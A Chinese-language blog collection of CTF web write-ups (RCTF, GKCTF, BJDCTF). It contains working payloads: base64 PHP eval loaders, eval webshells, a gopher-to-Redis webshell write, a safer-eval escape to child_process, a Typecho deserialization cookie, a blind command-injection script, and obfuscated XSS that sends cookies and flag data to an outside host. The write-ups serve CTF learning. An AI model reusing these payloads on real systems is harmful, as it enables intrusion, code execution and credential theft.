a: echo Ly88P3BocA0KDQokZCA9IGFycmF5KGFycmF5KCJwaXBlIiwgInIiKSxhcnJheSgicGlwZSIsICJ3IiksYXJyYXkoInBpcGUiLCAidyIpKTsNCiRwID0gcHJvY19vcGVuKCcvcmVhZGZsYWcnLCAkZCwgJHBpcGVzLCAnLycpOw0KaWYgKGlzX3Jlc291cmNlKCRwKSkgew0KICAgIC8vZndyaXRlKCRwaXBlc1swXSwgInlcbiIpO2Z3cml0ZSgkcGlwZXNbMF0sICJ5XG4iKTsNCiAgICAkdCA9IGZnZXRzKCRwaXBlc1sxXSk7DQoJZWNobyAkdDsNCgkkdCA9IGZnZXRzKCRwaXBlc1sxXSk7DQoJZWNobyAkdDsNCiAgICBmd3JpdGUoJHBpcGVzWzBdLCBldmFsKCJyZXR1cm4gIi4kdC4iOyIpLiJcbiIpOw0KICAgIGVjaG8gc3RyZWFtX2dldF9jb250ZW50cygkcGlwZXNbMV0pOw0KfQ==| base64 -d | php -r 'eval(stream_get_contents(STDIN));'

image-20200530171030124

misc* mysql_interface

谁把web放misc里了?

使用了一个parser库,需要满足过滤条件并且parser失败才会执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import (
"github.com/pingcap/parser" // v3.1.2-0.20200507065358-a5eade012146+incompatible
_ "github.com/pingcap/tidb/types/parser_driver" // v1.1.0-beta.0.20200520024639-0414aa53c912
)

var isForbidden = [256]bool{}

const forbidden = "\x00\t\n\v\f\r`[email protected]#$%^&*()_=[]{}\\|:;'\"/?<>,\xa0"

func init() {
for i := 0; i < len(forbidden); i++ {
isForbidden[forbidden[i]] = true
}
}

func allow(payload string) bool {
if len(payload) < 3 || len(payload) > 128 {
return false
}
for i := 0; i < len(payload); i++ {
if isForbidden[payload[i]] {
return false
}
}
if _, _, err := parser.New().Parse(payload, "", ""); err != nil {
return true
}
return false
}

// do query...
...

翻这个库issues,发现这个。

https://github.com/pingcap/parser/pull/521

1
2
3
CREATE table .t (a bigint)

Since this is invalid in MySQL 8.0 I don't think we want to support this.

.表名在mysql8.0以上无效,以下视同当前数据库.表名,这个库没有支持这个语法,所以payload

1
select flag from .flag

image-20200531161919303

misc* beans

查看js或者相关搜索得知使用的是beancount。

1
editor.session.setMode("ace/mode/beancount")

虽然后端服务器是express的,但是没有找到beancount的js实现,只找到python的,和beancount的语法文档。

https://docs.google.com/document/d/1wAMVrKIA2qtRGmoVDSUBJGmYZSygUaR0uOMW1GV3YE0/edit#heading=h.lxgs9ewvbt8k

https://github.com/beancount/beancount

把git库pull到本地审,发现ira_contribs插件里使用eval处理输入的config字符串。

image-20200601120733380

1
2
beancount的plugin语法 
plugin "将会import的插件名称" "config字符串"

config字符串可控,所以rce。

1
plugin "beancount.plugins.ira_contribs" "__import__('os').system('cat /flag')"
1
RCTF{welc0me_to_beanc0unt_world}

Python使使用requests的脚本经过抓包软件

给requests.get/post函数传入proxies参数可以指定经过的daili服务器地址,方便查看脚本具体发出了什么。

1
2
3
4
5
#coding:utf8
import requests
proxies = {'http':'http://127.0.0.1:4476','https':'http://127.0.0.1:4476'} #4476是fiddler端口

requests.get("http://example.com",headers={"test":"test_header"},proxies=proxies)

image-20200525131358738

或者可以给requests的Session设置daili,所有该Session的get/post请求如果没有特殊指定都会走这个daili:

1
2
3
4
5
6
#coding:utf8
import requests
r = requests.Session()
r.proxies = {'http':'http://127.0.0.1:4476','https':'http://127.0.0.1:4476'}

r.get("http://example.com",headers={"test":"test_header"})

GKCTF web部分的writeup

web1 签到

1
http://8dddfa42-d1cc-4d4a-adb7-77b140dfa3af.node3.buuoj.cn/?Ginkgo=cGhwaW5mbygpOw==

得到phpinfo,ban了一堆命令执行函数,但没有open_basedir,没有ban readfile等

1
http://8dddfa42-d1cc-4d4a-adb7-77b140dfa3af.node3.buuoj.cn/?Ginkgo=dmFyX2R1bXAoc2NhbmRpcigiLyIpKTs=

得到flag需要执行/readflag

PHP Version 7.3.18,上nday一把梭

/var/www/html没有写入权限,把nday放到远程服务器上,fopen远程服务器拿到字符串,eval之

1
eval(file_get_contents("http://6073-48b235c6-49f5-454c-a672-92d70e856fc7/web1help.html"));

但是nday用这种方式跑不通,不知道为什么,用传统的tmp写shell包含

或者转换一下shell用菜刀连

然后写payload到/tmp下去包含

1
2
http://8dddfa42-d1cc-4d4a-adb7-77b140dfa3af.node3.buuoj.cn/?Ginkgo=ZXZhbCgkX1JFUVVFU1RbJ2EnXSk7
#连接密码a
1
http://8dddfa42-d1cc-4d4a-adb7-77b140dfa3af.node3.buuoj.cn/?Ginkgo=aW5jbHVkZSAiL3RtcC9leHBsb2l0LnBocCI7

同一个bug,换了一个nday跑通了,事实证明realworld pwn都是玄学

1
https://www.exploit-db.com/exploits/47462

web2 cve签到

随便访问个什么,http回复头里提示Tips: Host must be end with '123'

1
http://ee6116c9-9cae-4ed4-9c08-2e15f6b87783.node3.buuoj.cn/?url=http://127.0.0.123%00.ctfhub.com

就直接出了?

web3 老八商城

image-20200524122805957

存在log泄露

/runtime/log/202005/16.log

登录路径是admin.php,用户名和密码百度可以搜到

image-20200524122834273

http://www.nctry.com/1660.html

1
http://47d464c1-87d8-4b05-b2cf-d83b1a2147d6.node3.buuoj.cn/public/static/index/default/try.php

getshell,发现flag无权限访问,存在root权限的后门服务,修改之用来读取flag。

image-20200524133428034

image-20200524133517610

image-20200524133613763

image-20200524133744276

image-20200524133753622

image-20200524133824084

web几 EzWeb

注释给提示?secret,加了参数给了一个ifconfig输出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<!--?secret-->
eth0 Link encap:Ethernet HWaddr 02:42:ad:16:a7:0a
inet addr:173.22.167.10 Bcast:173.22.167.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1450 Metric:1
RX packets:39 errors:0 dropped:0 overruns:0 frame:0
TX packets:62 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:6552 (6.5 KB) TX bytes:7566 (7.5 KB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
UP LOOPBACK RUNNING MTU:65536 Metric:1
RX packets:40 errors:0 dropped:0 overruns:0 frame:0
TX packets:40 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:2440 (2.4 KB) TX bytes:2440 (2.4 KB)
1
2
http://cc7700d7-2f14-4b29-833a-cd5eecd0b071.node3.buuoj.cn/index.php?url=173.22.167.10&submit=%E6%8F%90%E4%BA%A4
http://cc7700d7-2f14-4b29-833a-cd5eecd0b071.node3.buuoj.cn/index.php?url=127.2.3.3&submit=%E6%8F%90%E4%BA%A4

得到了本页面的代码,说明是ssrf

根据结果后面那个1 和请求特征 判断是关闭了user-agent的curl

1
http://c89decb9-9a57-4af9-b951-40ee25b93c59.node3.buuoj.cn/index.php?url=file%3A%2Fetc%2Fpasswd&submit=%E6%8F%90%E4%BA%A4

可以访问/etc/passwd,但是curl本身好像就读不了/proc里的东西,本地测试也不行

读/var/www/html/index.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
function curl($url){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
echo curl_exec($ch);
curl_close($ch);
}

if(isset($_GET['submit'])){
$url = $_GET['url'];
//echo $url."\n";
if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match))
{
//var_dump($match);
die('别这样');
}
curl($url);
}
if(isset($_GET['secret'])){
system('ifconfig');
}
?>

fuzz出来是.11的6379 redis,/etc/hosts也没有提示,逗我呢?

.11上还有web服务器,redis写php webshell

1
2
gopher://173.22.167.11:6379/%5f%25%32%41%31%25%30%44%25%30%41%25%32%34%38%25%30%44%25%30%41%66%6c%75%73%68%61%6c%6c%25%30%44%25%30%41%25%32%41%33%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%25%30%44%25%30%41%31%25%30%44%25%30%41%25%32%34%33%30%25%30%44%25%30%41%25%30%41%25%30%41%25%33%43%25%33%46%70%68%70%25%32%30%25%34%30%65%76%61%6c%25%32%38%25%32%34%5f%47%45%54%25%35%42%25%32%37%62%25%32%37%25%35%44%25%32%39%25%33%42%25%33%46%25%33%45%25%30%41%25%30%41%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%64%69%72%25%30%44%25%30%41%25%32%34%31%33%25%30%44%25%30%41%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%25%30%44%25%30%41%25%32%41%34%25%30%44%25%30%41%25%32%34%36%25%30%44%25%30%41%63%6f%6e%66%69%67%25%30%44%25%30%41%25%32%34%33%25%30%44%25%30%41%73%65%74%25%30%44%25%30%41%25%32%34%31%30%25%30%44%25%30%41%64%62%66%69%6c%65%6e%61%6d%65%25%30%44%25%30%41%25%32%34%39%25%30%44%25%30%41%73%68%65%6c%6c%2e%70%68%70%25%30%44%25%30%41%25%32%41%31%25%30%44%25%30%41%25%32%34%34%25%30%44%25%30%41%73%61%76%65%25%30%44%25%30%41%25%30%41
#密码是b
1
http://c89decb9-9a57-4af9-b951-40ee25b93c59.node3.buuoj.cn/index.php?url=173.22.167.11%2Fshell.php%3Fb%3Dreadfile%28%22%2Fflag%22%29%3B&submit=%E6%8F%90%E4%BA%A4

web几 EzNode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});


{
"name": "src",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"safer-eval": "1.3.6"
}
}

https://snyk.io/vuln/SNYK-JS-SAFEREVAL-534901

https://stackoverflow.com/questions/3468607/why-does-settimeout-break-for-large-millisecond-delay-values

1
2
3
4
5
6
7
8
9
10
11
12
13
14
POST http://5ec967ff-4c31-4c81-b3d0-2990ea2e10e1.node3.buuoj.cn/eval?delay=2147483648 HTTP/1.1
Host: 5ec967ff-4c31-4c81-b3d0-2990ea2e10e1.node3.buuoj.cn
Connection: keep-alive
Content-Length: 751
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Content-Type: application/x-www-form-urlencoded;charset=UTF-8
Accept: */*
Origin: http://5ec967ff-4c31-4c81-b3d0-2990ea2e10e1.node3.buuoj.cn
Referer: http://5ec967ff-4c31-4c81-b3d0-2990ea2e10e1.node3.buuoj.cn/
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
X-Forwarded-For: 172.25.0.11

e=(function+()+%7B%0A++const+f+%3D+Buffer.prototype.write%3B%0A++const+ft+%3D+%7B%0A++++length%3A+10%2C%0A++++utf8Write()%7B%0A%0A++++%7D%0A++%7D%3B%0A++function+r(i)%7B%0A++++var+x+%3D+0%3B%0A++++try%7B%0A++++++x+%3D+r(i)%3B%0A++++%7Dcatch(e)%7B%7D%0A++++if(typeof(x)!%3D%3D'number')%0A++++++return+x%3B%0A++++if(x!%3D%3Di)%0A++++++return+x%2B1%3B%0A++++try%7B%0A++++++f.call(ft)%3B%0A++++%7Dcatch(e)%7B%0A++++++return+e%3B%0A++++%7D%0A++++return+null%3B%0A++%7D%0A++var+i%3D1%3B%0A++while(1)%7B%0A++++try%7B%0A++++++i%3Dr(i).constructor.constructor(%22return+process%22)()%3B%0A++++++break%3B%0A++++%7Dcatch(x)%7B%0A++++++i%2B%2B%3B%0A++++%7D%0A++%7D%0A++return+i.mainModule.require(%22child_process%22).execSync(%22cat /flag%22).toString()%0A%7D)()

一把梭,爷就喜欢nday题

Web几 Node-Exe

安装包和etcher的差不多,直接可以解压

对resources/下的app.asar进行解包

https://stackoverflow.com/questions/38523617/how-to-unpack-an-asar-file

1
2
3
4
5
6
npm install -g asar
#或 cnpm install -g asar #取决于哪个更快
#解包
npx asar extract app.asar app
#打包
asar pack app app.asar

在合适的位置添加打开调试工具窗体.openDevTools();

image-20200524135254093

打包,触发自己的代码,触发调试工具

image-20200524135311934

image-20200524135634370

image-20200524135831298

应该就是关于token和timestamp怎么计算的

下xhr断点

image-20200524135902575

可以看见调用栈

image-20200524135945550

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
methods: {
encrypt: function(e, i, t) {
var o = this;
return c()(a.a.mark((function n() {
return a.a.wrap((function(o) {
for (; ; )
switch (o.prev = o.next) {
case 0:
return o.abrupt("return", new s.a((function(o) {
var n = p.a.createCipheriv("aes-128-cbc", e, i)
, r = n.update(t, "utf8", "binary");
r += n.final("binary"),
o(r = new Buffer.from(r,"binary").toString("hex"))
}
)));
case 1:
case "end":
return o.stop()
}
}
), n, o)
}
)))()
},
makeToken: function(e) {
var i = this;
return c()(a.a.mark((function t() {
var o, r;
return a.a.wrap((function(t) {
for (; ; )
switch (t.prev = t.next) {
case 0:
return "31169fedc9a20ecf",
"d96adeefaa0102a9",
o = f()(n()(e)),
t.next = 5,
i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);
case 5:
return r = t.sent,
t.abrupt("return", r);
case 7:
case "end":
return t.stop()
}
}
), t, i)
}
)))()
},
buyFlag: function(e) {
var i = this;
return c()(a.a.mark((function t() {
var o;
return a.a.wrap((function(t) {
for (; ; )
switch (t.prev = t.next) {
case 0:
return o = {
id: e,
timestamp: Date.parse(new Date)
},
t.t0 = i.$http,
t.t1 = i.url + "/buyflag",
t.t2 = o,
t.next = 6,
i.makeToken(o);
case 6:
t.t3 = t.sent,
t.t4 = {
token: t.t3
},
t.t5 = {
headers: t.t4
},
t.t6 = function(e) {
i.$Modal.info({
title: "购买结果",
content: e.data[0].flag
})
}
,
t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);
case 11:
case "end":
return t.stop()
}
}
), t, i)
}

image-20200524140152797

chrome调试工具里的pprint js只能下断点不能编辑,有时间戳在XHR下断点来不及修改,在且只在buyFlag处下断点把flag类型改成3,得到不能购买的提示

image-20200524140657780

image-20200524140709589

把flag类型改成字符串3||1即可

所以这算啥,sql注入?弱类型?parseInt忽略附加内容?

image-20200524154843409

image-20200524154850668

Web几 EzTypeEcho

https://www.freebuf.com/vuls/152058.html

install里取消了session_start

image-20200524151956578

原先在finish处的反序列化加了判断,需要SESSION存在才能通过

image-20200524152033466

但是在start处也存在同样的反序列化,并且没有加判断,上面网址里的payload一把梭。

image-20200524152139247

1
2
3
4
5
6
7
8
9
10
11
GET http://b1a5c30b-558e-4a73-84ed-0fa196e689a2.node3.buuoj.cn/install.php?start HTTP/1.1
Host: b1a5c30b-558e-4a73-84ed-0fa196e689a2.node3.buuoj.cn
Connection: keep-alive
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.138 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
Cookie: PHPSESSID=77o478sbht9as7ibcof6v2nqu0; __typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE3OiJyZWFkZmlsZSgiL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjE3OiJyZWFkZmlsZSgiL2ZsYWciKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=; __typecho_lang=zh_CN
Referer: http://b1a5c30b-558e-4a73-84ed-0fa196e689a2.node3.buuoj.cn/install.php?

[GKCTF2020]问卷调查

[GKCTF2020]签到

BJDCTF 3rd web两道题writeup

Web-帮帮小红花

和i春秋圣诞赛的cut盲注类似,各种方法盲注flag即可,注意&要转义。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import string
import requests
proxies={"http":"http://127.0.0.1:4476"}
pay = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}-_"
result = ""
while True:
for i in pay:
try:
requests.get("http://183.129.189.60:10074/?imagin=grep \"^%s\" /flag %%26%%26 sleep 10"%(result+i),timeout=5,proxies=proxies)
continue;
except KeyboardInterrupt as e:
exit(0)
except:
result+=i
print(result)
break;

Web-notes

源码提示leak,访问www.zip得到源码

1
<body onpageshow=alert(1) >

子元素是body会被浏览器修补到body的属性里去,这样视同html>body有onpageshow属性

1
2
3
4
5
6
7
<body onpageshow=window['location'].href=/111/ >

(/l/+1)[1]

<body onpageshow=window[(/l/+1)[1]+(/o/+1)[1]+(/c/+1)[1]+(/a/+1)[1]+(/t/+1)[1]+(/i/+1)[1]+(/o/+1)[1]+(/n/+1)[1]].href=(/h/+1)[1]+(/t/+1)[1]+(/t/+1)[1]+(/p/+1)[1]+(/:/+1)[1]+(/\//+1)[1]+(/\//+1)[1]+(/a/+1)[1]+(/p/+1)[1]+(/i/+1)[1]+(/./+1)[1]+(/c/+1)[1]+(/h/+1)[1]+(/a/+1)[1]+(/r/+1)[1]+(/a/+1)[1]+(/./+1)[1]+(/p/+1)[1]+(/u/+1)[1]+(/b/+1)[1]+(/\//+1)[1]+document[(/c/+1)[1]+(/o/+1)[1]+(/o/+1)[1]+(/k/+1)[1]+(/i/+1)[1]+(/e/+1)[1]] />

http://172.26.176.1/note.php?note=%3Cbody+onpageshow%3Dwindow%5B%28%2Fl%2F%2B1%29%5B1%5D%2B%28%2Fo%2F%2B1%29%5B1%5D%2B%28%2Fc%2F%2B1%29%5B1%5D%2B%28%2Fa%2F%2B1%29%5B1%5D%2B%28%2Ft%2F%2B1%29%5B1%5D%2B%28%2Fi%2F%2B1%29%5B1%5D%2B%28%2Fo%2F%2B1%29%5B1%5D%2B%28%2Fn%2F%2B1%29%5B1%5D%5D.href%3D%28%2Fh%2F%2B1%29%5B1%5D%2B%28%2Ft%2F%2B1%29%5B1%5D%2B%28%2Ft%2F%2B1%29%5B1%5D%2B%28%2Fp%2F%2B1%29%5B1%5D%2B%28%2F%3A%2F%2B1%29%5B1%5D%2B%28%2F%5C%2F%2F%2B1%29%5B1%5D%2B%28%2F%5C%2F%2F%2B1%29%5B1%5D%2B%28%2Fa%2F%2B1%29%5B1%5D%2B%28%2Fp%2F%2B1%29%5B1%5D%2B%28%2Fi%2F%2B1%29%5B1%5D%2B%28%2F.%2F%2B1%29%5B1%5D%2B%28%2Fc%2F%2B1%29%5B1%5D%2B%28%2Fh%2F%2B1%29%5B1%5D%2B%28%2Fa%2F%2B1%29%5B1%5D%2B%28%2Fr%2F%2B1%29%5B1%5D%2B%28%2Fa%2F%2B1%29%5B1%5D%2B%28%2F.%2F%2B1%29%5B1%5D%2B%28%2Fp%2F%2B1%29%5B1%5D%2B%28%2Fu%2F%2B1%29%5B1%5D%2B%28%2Fb%2F%2B1%29%5B1%5D%2B%28%2F%5C%2F%2F%2B1%29%5B1%5D%2Bdocument%5B%28%2Fc%2F%2B1%29%5B1%5D%2B%28%2Fo%2F%2B1%29%5B1%5D%2B%28%2Fo%2F%2B1%29%5B1%5D%2B%28%2Fk%2F%2B1%29%5B1%5D%2B%28%2Fi%2F%2B1%29%5B1%5D%2B%28%2Fe%2F%2B1%29%5B1%5D%5D+%2F%3E

限制url长度500,所以需要优化

1
2
3
4
5
6
7
8
(/http:\/\/ctf.chara.pub\//+1).substring(1,25)
(/l/+1)[1]+(/ocation/+1).substring(1,8)
(/c/+1)[1]+(/ookies/+1).substring(1,7)

<body onpageshow=window[(/l/+1)[1]+(/ocation/+1).substring(1,8)].href=(/http:\/\/ctf.chara.pub\//+1).substring(1,25)+document[(/c/+1)[1]+(/ookie/+1).substring(1,6)] />


http://172.26.176.1/note.php?note=%3Cbody+onpageshow%3Dwindow%5B%28%2Fl%2F%2B1%29%5B1%5D%2B%28%2Focation%2F%2B1%29.substring%281%2C8%29%5D.href%3D%28%2Fhttp%3A%5C%2F%5C%2Fctf.chara.pub%5C%2F%2F%2B1%29.substring%281%2C25%29%2Bdocument%5B%28%2Fc%2F%2B1%29%5B1%5D%2B%28%2Fookie%2F%2B1%29.substring%281%2C6%29%5D+%2F%3E

可以打到admin的phpsessionid,但是没有用

1
2
3
4
5
6
7
8
9
10
11
a=new XMLHttpRequest();a.open("GET","http://ctf.chara.pub",1);a.onreadystatechange=function(){eval(a.responseText)};a.send(null)

a=new XMLHttpRequest();a.open((/GET/+1).substring(1,4),(/http:\/\/ctf.chara.pub\//+1).substring(1,25),1);a.onreadystatechange (){eval(a.responseText)};a.send(null)

#过滤func,用lambda

(/r/+1)[1]+(/esponseText/+1).substring(1,12)

a=new XMLHttpRequest();a.open((/GET/+1).substring(1,4),(/http:\/\/ctf.chara.pub\//+1).substring(1,25),1);a.onreadystatechange=()=>{eval(a[(/r/+1)[1]+(/esponseText/+1).substring(1,12)])};a.send(null)

<body onpageshow=a=new XMLHttpRequest();a.open((/GET/+1).substring(1,4),(/http:\/\/ctf.chara.pub\//+1).substring(1,25),1);a.onreadystatechange=()=>{eval(a[(/r/+1)[1]+(/esponseText/+1).substring(1,12)])};a.send(null) />

csp不允许XMLHttpRequest访问外部地址,那剩下的方法就是getflag然后提交到用户名里

用户名限制格式,要么分段打payload,要么window.location.href

XMLHttpRequest需要一个空格来new,用fetch

1
2
3
4
5
6
7
8
9
fetch("/lib/flag.php",{method:"GET"}).then((r)=>{r.text().then((r)=>{window.location.href="http://ctf.chara.pub/"+r})})


(/\/lib\/flag.php/+1).substring(2,16)
(/\/lib\/f/+1).substring(2,9)+(/lag.php/+1).substring(1,8)

a=(/t/+1)[1]+(/hen/+1).substring(1,4);window[(/f/+1)[1]+(/etch/+1).substring(1,5)]((/\/lib\/f/+1).substring(2,9)+(/lag.php/+1).substring(1,8),{method:(/GET/+1).substring(1,4)})[a]((r)=>{r.text()[a]((r)=>{window[(/l/+1)[1]+(/ocation/+1).substring(1,8)].href=(/http:\/\/ctf.chara.pub\//+1).substring(1,25)+r})})

<body onpageshow=a=(/t/+1)[1]+(/hen/+1).substring(1,4);window[(/f/+1)[1]+(/etch/+1).substring(1,5)]((/\/lib\/f/+1).substring(2,9)+(/lag.php/+1).substring(1,8),{method:(/GET/+1).substring(1,4)})[a]((r)=>{r.text()[a]((r)=>{window[(/l/+1)[1]+(/ocation/+1).substring(1,8)].href=(/http:\/\/ctf.chara.pub\//+1).substring(1,25)+r})}) />

=>绕过

直接用eval构造字符串?

题目好像改过,现在的过滤了eval

1
2
3
4
5
6
7
a=String.fromCharCode;
b=(/fetch(12lib2flag.php1,{method:1GET1}).then((r)=3{r.text().then((r)=3{window.location.href=1http:22ctf.chara.pub21+r})})/+4).replace(/1/g,a(34)).replace(/2/g,a(47)).replace(/3/g,a(62)).substring(1,120);window[(/e/+1)[1]+(/val/+1).substring(1,4)](b)

#最后的payload
<body onpageshow=a=String.fromCharCode;b=(/5etch(12lib25lag.php1,{method:1GET1}).th6n((r)=3{r.text().th6n((r)=3{window.l7cation.href=1http:22ctf.chara.pub21+r})})/+4).replace(/1/g,a(34)).replace(/2/g,a(47)).replace(/3/g,a(62)).replace(/5/g,a(102)).replace(/6/g,a(101)).replace(/7/g,a(111)).substring(1,120);window[(/e/+1)[1]+(/val/+1).substring(1,4)](b) />

http://172.26.176.1/note.php?note=%3Cbody+onpageshow%3Da%3DString.fromCharCode%3Bb%3D%28%2F5etch%2812lib25lag.php1%2C%7Bmethod%3A1GET1%7D%29.th6n%28%28r%29%3D3%7Br.text%28%29.th6n%28%28r%29%3D3%7Bwindow.l7cation.href%3D1http%3A22a.chara.pub21%2Br%7D%29%7D%29%2F%2B4%29.replace%28%2F1%2Fg%2Ca%2834%29%29.replace%28%2F2%2Fg%2Ca%2847%29%29.replace%28%2F3%2Fg%2Ca%2862%29%29.replace%28%2F5%2Fg%2Ca%28102%29%29.replace%28%2F6%2Fg%2Ca%28101%29%29.replace%28%2F7%2Fg%2Ca%28111%29%29.substring%281%2C120%29%3Bwindow%5B%28%2Fe%2F%2B1%29%5B1%5D%2B%28%2Fval%2F%2B1%29.substring%281%2C4%29%5D%28b%29+%2F%3E

可能长度还是有点过(虽然自己测出来是499),用flask写个302可以打

About me

CTF

Web 80% (Most of it)

Pwn 30% (Stack, easy heap)

Misc 20% (Traditional misc)

Reverse 10% (搞开发的多半都看得懂点re)

Crypto 0%

开发

Android 80%

Android-Xposed 80%

Java/JavaEE 60%

JavaScript 60%

Swift 20%

GoLang 20%

C/CPP 10%

运维/数据库 60%